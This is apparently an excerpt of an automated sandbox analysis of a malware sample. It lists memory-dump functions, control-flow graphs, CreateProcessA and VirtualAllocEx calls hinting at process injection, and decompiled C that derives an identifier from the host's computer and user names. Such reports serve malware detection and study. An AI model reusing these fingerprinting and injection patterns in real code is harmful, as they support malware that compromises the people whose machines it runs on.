                                                                                                              control_flow_graph 1652 2e8574-2ebffa 1655 2ebffc-2ec006 1652->1655 1656 2ec033-2ec053 1652->1656 1655->1656 1657 2ec008-2ec00a 1655->1657 1663 2ec08c-2ec0ba 1656->1663 1664 2ec055-2ec05f 1656->1664 1658 2ec00c-2ec016 1657->1658 1659 2ec02d-2ec030 1657->1659 1661 2ec01a-2ec029 1658->1661 1662 2ec018 1658->1662 1659->1656 1661->1661 1665 2ec02b 1661->1665 1662->1661 1670 2ec0bc-2ec0c6 1663->1670 1671 2ec0f3-2ec112 1663->1671 1664->1663 1666 2ec061-2ec063 1664->1666 1665->1659 1668 2ec086-2ec089 1666->1668 1669 2ec065-2ec06f 1666->1669 1668->1663 1672 2ec073-2ec082 1669->1672 1673 2ec071 1669->1673 1670->1671 1675 2ec0c8-2ec0ca 1670->1675 1679 2ec114-2ec120 1671->1679 1680 2ec122-2ec12f 1671->1680 1672->1672 1674 2ec084 1672->1674 1673->1672 1674->1668 1676 2ec0cc-2ec0d6 1675->1676 1677 2ec0ed-2ec0f0 1675->1677 1681 2ec0da-2ec0e9 1676->1681 1682 2ec0d8 1676->1682 1677->1671 1679->1680 1683 2ec13f-2ec18e CreateProcessA 1680->1683 1684 2ec131-2ec13d 1680->1684 1681->1681 1685 2ec0eb 1681->1685 1682->1681 1686 2ec197-2ec1d7 1683->1686 1687 2ec190-2ec196 1683->1687 1684->1683 1685->1677 1691 2ec1d9-2ec1dd 1686->1691 1692 2ec1e7-2ec1eb 1686->1692 1687->1686 1691->1692 1693 2ec1df 1691->1693 1694 2ec1ed-2ec1f1 1692->1694 1695 2ec1fb-2ec1ff 1692->1695 1693->1692 1694->1695 1696 2ec1f3 1694->1696 1697 2ec20f 1695->1697 1698 2ec201-2ec205 1695->1698 1696->1695 1700 2ec210 1697->1700 1698->1697 1699 2ec207 1698->1699 1699->1697 1700->1700
                                                                                                              APIs
                                                                                                              • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000), ref: 002EC17E
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: CreateProcess
                                                                                                              • String ID:
                                                                                                              • API String ID: 963392458-0
                                                                                                              • Opcode ID: b45e3576c8a8e200b4afebfdf287d1ca3e18bdeb3e94dd779580e2e68466b777
                                                                                                              • Instruction ID: 603670e2aa0e986b94e6f5dff2a5eb1f1666efc1a5a5f502c97eb9bfe93cd622
                                                                                                              • Opcode Fuzzy Hash: b45e3576c8a8e200b4afebfdf287d1ca3e18bdeb3e94dd779580e2e68466b777
                                                                                                              • Instruction Fuzzy Hash: E2815871D542999FDB10CFAAC8857DEBBF1FF48314F648129E819E7280DB748862CB91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002E858C Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 1997 2e858c-2ee008 VirtualAllocEx 2000 2ee00a-2ee010 1997->2000 2001 2ee011-2ee02e 1997->2001 2000->2001
                                                                                                              APIs
                                                                                                              • VirtualAllocEx.KERNEL32(00000000,?,?,?,00000000), ref: 002EDFFB
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: AllocVirtual
                                                                                                              • String ID:
                                                                                                              • API String ID: 4275171209-0
                                                                                                              • Opcode ID: b2885226dc06dc78dba20ae97188ce43d26923b9733c955299ff7d7ed02b5551
                                                                                                              • Instruction ID: 08d249cadfa4b115263f8375a1288bad3bdcedd6dcbfa1bd5c2ba1845fc70553
                                                                                                              • Opcode Fuzzy Hash: b2885226dc06dc78dba20ae97188ce43d26923b9733c955299ff7d7ed02b5551
                                                                                                              • Instruction Fuzzy Hash: 5C1123B19142489FCB10CF9AC844BDEBFF4FB88314F108829E518A7210D375A950CBA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002E867C Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 2011 2e867c-2ee008 VirtualAllocEx 2014 2ee00a-2ee010 2011->2014 2015 2ee011-2ee02e 2011->2015 2014->2015
                                                                                                              APIs
                                                                                                              • VirtualAllocEx.KERNEL32(00000000,?,?,?,00000000), ref: 002EDFFB
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: AllocVirtual
                                                                                                              • String ID:
                                                                                                              • API String ID: 4275171209-0
                                                                                                              • Opcode ID: 11d615dd3a789dabfe80e0b0d95c1553020c4b7537c5171d94a823848b950cfa
                                                                                                              • Instruction ID: f5a469d21c7c33d75d7be618b599130694dfddb822074d32d3ad3243d7c06464
                                                                                                              • Opcode Fuzzy Hash: 11d615dd3a789dabfe80e0b0d95c1553020c4b7537c5171d94a823848b950cfa
                                                                                                              • Instruction Fuzzy Hash: B31134B19047499FCB10CF9AC844BDEBFF4FB88314F108819E518A7210D375A950CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002EDF8C Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 2025 2edf8c-2edfcb 2026 2edfd3-2ee008 VirtualAllocEx 2025->2026 2027 2ee00a-2ee010 2026->2027 2028 2ee011-2ee02e 2026->2028 2027->2028
                                                                                                              APIs
                                                                                                              • VirtualAllocEx.KERNEL32(00000000,?,?,?,00000000), ref: 002EDFFB
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: AllocVirtual
                                                                                                              • String ID:
                                                                                                              • API String ID: 4275171209-0
                                                                                                              • Opcode ID: 11759cb6da7bbd163357f03c796d1bbe35afcad82b2cff9bddf3688b7361fbfb
                                                                                                              • Instruction ID: f35382da2f17a687fa0a99d51c0df570119663c7bdec53965df7e54beff096ea
                                                                                                              • Opcode Fuzzy Hash: 11759cb6da7bbd163357f03c796d1bbe35afcad82b2cff9bddf3688b7361fbfb
                                                                                                              • Instruction Fuzzy Hash: 931137B59042489FCB10CF9AD844BDEBFF4FF88314F10841AE518A7250C3759950CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0027D1D4 Relevance: .1, Instructions: 72COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699391963.000000000027D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0027D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_27d000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 4c28c024123ed3f2d0c744041110e226ce9cfec7a9009af58235e90c3ac98d38
                                                                                                              • Instruction ID: 55748aed9220a1bb0882acc74c61b1ff00430a012914c9104c5e79072d2151f7
                                                                                                              • Opcode Fuzzy Hash: 4c28c024123ed3f2d0c744041110e226ce9cfec7a9009af58235e90c3ac98d38
                                                                                                              • Instruction Fuzzy Hash: E521F275658204EFDB01DF20D980B26BBB1FF88318F24C5A9ED0D4B247C376D866CA61
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0027D01C Relevance: .1, Instructions: 72COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699391963.000000000027D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0027D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_27d000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: eafb12913bf0801817d8faad26b111d8624a7a6bc8eba6e1c095c8565f8a2d5a
                                                                                                              • Instruction ID: c884a217e20d6e5daac6aaf58d9d5400115122bfeffb8ca1ac9e1eaa1eec00a2
                                                                                                              • Opcode Fuzzy Hash: eafb12913bf0801817d8faad26b111d8624a7a6bc8eba6e1c095c8565f8a2d5a
                                                                                                              • Instruction Fuzzy Hash: 8221F275618244DFCB14DF24D984B26BBB1EF88318F24C569E90D4B246C37BD866CA61
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0027D006 Relevance: .1, Instructions: 62COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699391963.000000000027D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0027D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_27d000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: bfc9a048431a0e2ec24c71011ea3f47e337d1e5806901140609dfc5a1a193fb0
                                                                                                              • Instruction ID: 1b1b833d0df563aed30d55154dff16c5a9b9620a0ccf259f7a6faf8a15acb0a3
                                                                                                              • Opcode Fuzzy Hash: bfc9a048431a0e2ec24c71011ea3f47e337d1e5806901140609dfc5a1a193fb0
                                                                                                              • Instruction Fuzzy Hash: 80215B755093C08FCB12CF24D994B15BF71EF46314F28C5EAD8498B6A7C33A981ACB62
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0027D1CF Relevance: .1, Instructions: 53COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699391963.000000000027D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0027D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_27d000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: da1bc06a015ab215ed5f72c3c29a332cd436a3f278bdcb99c31a104566e7ff5b
                                                                                                              • Instruction ID: 349d9cdeb2ef2cfdec0f2f3e054244613433e90b37b2dd0dd6fc0adc0b9d92df
                                                                                                              • Opcode Fuzzy Hash: da1bc06a015ab215ed5f72c3c29a332cd436a3f278bdcb99c31a104566e7ff5b
                                                                                                              • Instruction Fuzzy Hash: C8117679944280DFDB12CF14D584B15BBB1FF84324F28C6AADC494B657C33AD86ACB62
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0026D0F7 Relevance: .0, Instructions: 37COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699381344.000000000026D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0026D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_26d000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 2f1b91b7c48b210762b813137b53b29a8708676659a1cb949324ba7330c4158d
                                                                                                              • Instruction ID: a7ba4903d2fa37574e8319f744af8abfd66d9cfeaef1de30e616b6a1dbada741
                                                                                                              • Opcode Fuzzy Hash: 2f1b91b7c48b210762b813137b53b29a8708676659a1cb949324ba7330c4158d
                                                                                                              • Instruction Fuzzy Hash: 26F04972200604AF97208F0AC884C23FBA9FBD5730315C19AF8494B612C671EC52CBA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0026D0E8 Relevance: .0, Instructions: 35COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699381344.000000000026D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0026D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_26d000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 53a59d2343ec5eef4fe5920d364ff3d8b331b6cddad7fd3178da1250fc496aab
                                                                                                              • Instruction ID: bf9e1557e5cbb66c969bb53b0c3ce28034fd6daa1010d88a608ad9a6c01cb6ce
                                                                                                              • Opcode Fuzzy Hash: 53a59d2343ec5eef4fe5920d364ff3d8b331b6cddad7fd3178da1250fc496aab
                                                                                                              • Instruction Fuzzy Hash: 47F03775104684AFD7258F06C984C23BFB9EB867607198489E8898B222C671FC82CBA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Non-executed Functions

                                                                                                              Function 002E2180 Relevance: .1, Instructions: 65COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1f7227263e5a4a4155886bb8c58fd9993b789ef5ee0d47f5d51b8f394d9b6f4f
                                                                                                              • Instruction ID: e37c5ad1eee460fa4e7f5b4a1ff4d9d4f92772d88440dffa71a28fbf879eed44
                                                                                                              • Opcode Fuzzy Hash: 1f7227263e5a4a4155886bb8c58fd9993b789ef5ee0d47f5d51b8f394d9b6f4f
                                                                                                              • Instruction Fuzzy Hash: 3421E474D04249DFCB04DFA9C544AEEB7B5AB45308F5085A9D805A7291DB309B94DF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002EA493 Relevance: .0, Instructions: 22COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 47af91ef0760bc292c146d76450e38b7bfd2dfc4858c58366c3fad8b548b2e81
                                                                                                              • Instruction ID: d5f1d8d20d7e6fb5abae965289b60f56bdc1ba50a0a2946b705ff7ecb4263923
                                                                                                              • Opcode Fuzzy Hash: 47af91ef0760bc292c146d76450e38b7bfd2dfc4858c58366c3fad8b548b2e81
                                                                                                              • Instruction Fuzzy Hash: 50D01235D5425887CF109F9498582FCF3B4BB46355F0174A1C11DF3201CB706950AA09
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002EE40E Relevance: .0, Instructions: 21COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 45d3bf3a553fae26b0a11fca48c45d5b12f0e2b74c4d13ad53361aabc01726c4
                                                                                                              • Instruction ID: f58ab4d840fc41ec2592eaf65f57e731e31b3e2e0544681d4f1dd4bae00aa1b6
                                                                                                              • Opcode Fuzzy Hash: 45d3bf3a553fae26b0a11fca48c45d5b12f0e2b74c4d13ad53361aabc01726c4
                                                                                                              • Instruction Fuzzy Hash: ACD01734E582588BCF109FD5A9006FCF7B0AB46264F4224A2C209B3200CB305A91AF25
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002ED848 Relevance: .0, Instructions: 21COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 0ea41512dc084f491c79589a6025ecfc227d89f5e07abacd698c4e28261dea01
                                                                                                              • Instruction ID: 40d8367ca08d8c5d6373587ffbe253757a10e639b6a106b3e5877134f2aebff7
                                                                                                              • Opcode Fuzzy Hash: 0ea41512dc084f491c79589a6025ecfc227d89f5e07abacd698c4e28261dea01
                                                                                                              • Instruction Fuzzy Hash: 51D01235D9519886CB10DF95D8442FCF370FB46364F013596C10DA3100DB705992AA08
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002E9A5D Relevance: .0, Instructions: 21COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: d421ec6455cc3690071ca610fa2b46905dba14cdec194fec368bf4c269b40e3c
                                                                                                              • Instruction ID: f9123e10ca775af221dbdaa1d6f9cb8c06dd6c7a2abc2da655a0574df546c06e
                                                                                                              • Opcode Fuzzy Hash: d421ec6455cc3690071ca610fa2b46905dba14cdec194fec368bf4c269b40e3c
                                                                                                              • Instruction Fuzzy Hash: 29D0E234E681A88ACB20AFD4A8047ECF7B0AB86224F0124A7C10DB3200CB705AA0AB54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002ED75E Relevance: .0, Instructions: 21COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: ef92e4155db5912d9aea8839f77b0a40384afff7a5bbd7a512c91bf804dcd990
                                                                                                              • Instruction ID: 311b21b6cd56980814a1ed4c5ec53058e3f802df981cde9939be848b7e8d2c35
                                                                                                              • Opcode Fuzzy Hash: ef92e4155db5912d9aea8839f77b0a40384afff7a5bbd7a512c91bf804dcd990
                                                                                                              • Instruction Fuzzy Hash: D0D01235D9505E86CB109F95E9445FCF370DB46354F1174B6D10DA3100DB305951AF04
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002E185D Relevance: .0, Instructions: 11COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: f4279fb7a376c8f0292a8cc686e6e49d209be210cad85753f9b6f9ddfa214db3
                                                                                                              • Instruction ID: 05d3cbd12eb28a23447e38400f82963c6ad17f4395db2f9be199ced328add91c
                                                                                                              • Opcode Fuzzy Hash: f4279fb7a376c8f0292a8cc686e6e49d209be210cad85753f9b6f9ddfa214db3
                                                                                                              • Instruction Fuzzy Hash: 49B09236E50008D6DB00CEC5A0003FCF771E782226F102076C208B350083708678569A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002E0A55 Relevance: .0, Instructions: 11COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: f4279fb7a376c8f0292a8cc686e6e49d209be210cad85753f9b6f9ddfa214db3
                                                                                                              • Instruction ID: 8543287ebf6bce9f6e6e9039313726cf02c1f9cb92ffa00b5915f854be2e70cb
                                                                                                              • Opcode Fuzzy Hash: f4279fb7a376c8f0292a8cc686e6e49d209be210cad85753f9b6f9ddfa214db3
                                                                                                              • Instruction Fuzzy Hash: 81B0923AE501189ACB008EC5A0003FCF770E782326F102062C60CB360082B086A9569A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002E1BA5 Relevance: .0, Instructions: 11COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: f4279fb7a376c8f0292a8cc686e6e49d209be210cad85753f9b6f9ddfa214db3
                                                                                                              • Instruction ID: 62aaab723308467b04bb7494d9d76da9ea199ab511f231c76f1ab9882a7224d7
                                                                                                              • Opcode Fuzzy Hash: f4279fb7a376c8f0292a8cc686e6e49d209be210cad85753f9b6f9ddfa214db3
                                                                                                              • Instruction Fuzzy Hash: 53B09236E5000896CB008ED5A0003FCF770E78222AF102066C208B3500D3708679569A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Executed Functions

                                                                                                              Function 0040724C Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 143stringCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 129 40724c-407395 memset * 4 GetComputerNameA GetUserNameA MultiByteToWideChar * 2 strlen * 2 memcpy 130 407397 129->130 131 4073cb-4073ce 129->131 134 40739d-4073a6 130->134 132 4073d0-4073d9 131->132 133 4073ff-407403 131->133 135 4073e0-4073fd 132->135 136 4073db-4073df 132->136 137 4073a8-4073ac 134->137 138 4073ad-4073c9 134->138 135->132 135->133 136->135 137->138 138->131 138->134
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040724C(signed int _a4) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				void _v20;
				long _v24;
				int _v28;
				int _v32;
				void* _v36;
				void _v291;
				char _v292;
				void _v547;
				char _v548;
				void _v1058;
				short _v1060;
				void _v1570;
				short _v1572;
				int _t88;
				signed int _t91;
				signed int _t92;
				signed int _t94;
				signed int _t96;
				signed int _t99;
				signed int _t104;
				signed short* _t110;
				void* _t113;
				void* _t114;

				_t92 = 0;
				_v20 = 0xa3;
				_v19 = 0x1e;
				_v18 = 0xf3;
				_v17 = 0x69;
				_v16 = 7;
				_v15 = 0x62;
				_v14 = 0xd9;
				_v13 = 0x1f;
				_v12 = 0x1e;
				_v11 = 0xe9;
				_v10 = 0x35;
				_v9 = 0x7d;
				_v8 = 0x4f;
				_v7 = 0xd2;
				_v6 = 0x7d;
				_v5 = 0x48;
				_v292 = 0;
				memset( &_v291, 0, 0xff);
				_v548 = 0;
				memset( &_v547, 0, 0xff);
				_v1572 = 0;
				memset( &_v1570, 0, 0x1fe);
				_v1060 = 0;
				memset( &_v1058, 0, 0x1fe);
				_v36 = _a4 + 4;
				_a4 = 0;
				_v24 = 0xff;
				GetComputerNameA( &_v292,  &_v24); // executed
				_v24 = 0xff;
				GetUserNameA( &_v548,  &_v24); // executed
				MultiByteToWideChar(0, 0,  &_v292, 0xffffffff,  &_v1572, 0xff);
				MultiByteToWideChar(0, 0,  &_v548, 0xffffffff,  &_v1060, 0xff);
				_v32 = strlen( &_v292);
				_t88 = strlen( &_v548);
				_t113 = _v36;
				_v28 = _t88;
				memcpy(_t113,  &_v20, 0x10);
				_t91 = 0xba0da71d;
				if(_v28 > 0) {
					_t110 =  &_v1060;
					do {
						_t104 = _a4 & 0x80000003;
						if(_t104 < 0) {
							_t104 = (_t104 - 0x00000001 | 0xfffffffc) + 1;
						}
						_t96 = ( *_t110 & 0x0000ffff) * _t91;
						_t91 = _t91 * 0xbc8f;
						 *(_t113 + _t104 * 4) =  *(_t113 + _t104 * 4) ^ _t96;
						_a4 = _a4 + 1;
						_t110 =  &(_t110[1]);
					} while (_a4 < _v28);
				}
				if(_v32 > _t92) {
					do {
						_t99 = _a4 & 0x80000003;
						if(_t99 < 0) {
							_t99 = (_t99 - 0x00000001 | 0xfffffffc) + 1;
						}
						_t94 = ( *(_t114 + _t92 * 2 - 0x620) & 0x0000ffff) * _t91;
						_t91 = _t91 * 0xbc8f;
						 *(_t113 + _t99 * 4) =  *(_t113 + _t99 * 4) ^ _t94;
						_a4 = _a4 + 1;
						_t92 = _t92 + 1;
					} while (_t92 < _v32);
				}
				return _t91;
			}









































                                                                                                              0x0040725d
                                                                                                              0x00407268
                                                                                                              0x0040726c
                                                                                                              0x00407270
                                                                                                              0x00407274
                                                                                                              0x00407278
                                                                                                              0x0040727c
                                                                                                              0x00407280
                                                                                                              0x00407284
                                                                                                              0x00407288
                                                                                                              0x0040728c
                                                                                                              0x00407290
                                                                                                              0x00407294
                                                                                                              0x00407298
                                                                                                              0x0040729c
                                                                                                              0x004072a0
                                                                                                              0x004072a4
                                                                                                              0x004072a8
                                                                                                              0x004072ae
                                                                                                              0x004072bc
                                                                                                              0x004072c2
                                                                                                              0x004072d5
                                                                                                              0x004072dc
                                                                                                              0x004072ea
                                                                                                              0x004072f1
                                                                                                              0x004072fc
                                                                                                              0x0040730d
                                                                                                              0x00407310
                                                                                                              0x00407313
                                                                                                              0x00407324
                                                                                                              0x00407327
                                                                                                              0x00407346
                                                                                                              0x0040735b
                                                                                                              0x00407369
                                                                                                              0x00407373
                                                                                                              0x00407378
                                                                                                              0x0040737b
                                                                                                              0x00407385
                                                                                                              0x00407390
                                                                                                              0x00407395
                                                                                                              0x00407397
                                                                                                              0x0040739d
                                                                                                              0x004073a0
                                                                                                              0x004073a6
                                                                                                              0x004073ac
                                                                                                              0x004073ac
                                                                                                              0x004073b0
                                                                                                              0x004073b3
                                                                                                              0x004073bc
                                                                                                              0x004073be
                                                                                                              0x004073c5
                                                                                                              0x004073c6
                                                                                                              0x0040739d
                                                                                                              0x004073ce
                                                                                                              0x004073d0
                                                                                                              0x004073d3
                                                                                                              0x004073d9
                                                                                                              0x004073df
                                                                                                              0x004073df
                                                                                                              0x004073e8
                                                                                                              0x004073eb
                                                                                                              0x004073f4
                                                                                                              0x004073f6
                                                                                                              0x004073f9
                                                                                                              0x004073fa
                                                                                                              0x004073d0
                                                                                                              0x00407403

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 004072AE
                                                                                                              • memset.MSVCRT ref: 004072C2
                                                                                                              • memset.MSVCRT ref: 004072DC
                                                                                                              • memset.MSVCRT ref: 004072F1
                                                                                                              • GetComputerNameA.KERNEL32(?,?), ref: 00407313
                                                                                                              • GetUserNameA.ADVAPI32(?,?), ref: 00407327
                                                                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 00407346
                                                                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 0040735B
                                                                                                              • strlen.MSVCRT ref: 00407364
                                                                                                              • strlen.MSVCRT ref: 00407373
                                                                                                              • memcpy.MSVCRT ref: 00407385
                                                                                                              Strings
                                                                                                              Memory Dump Source
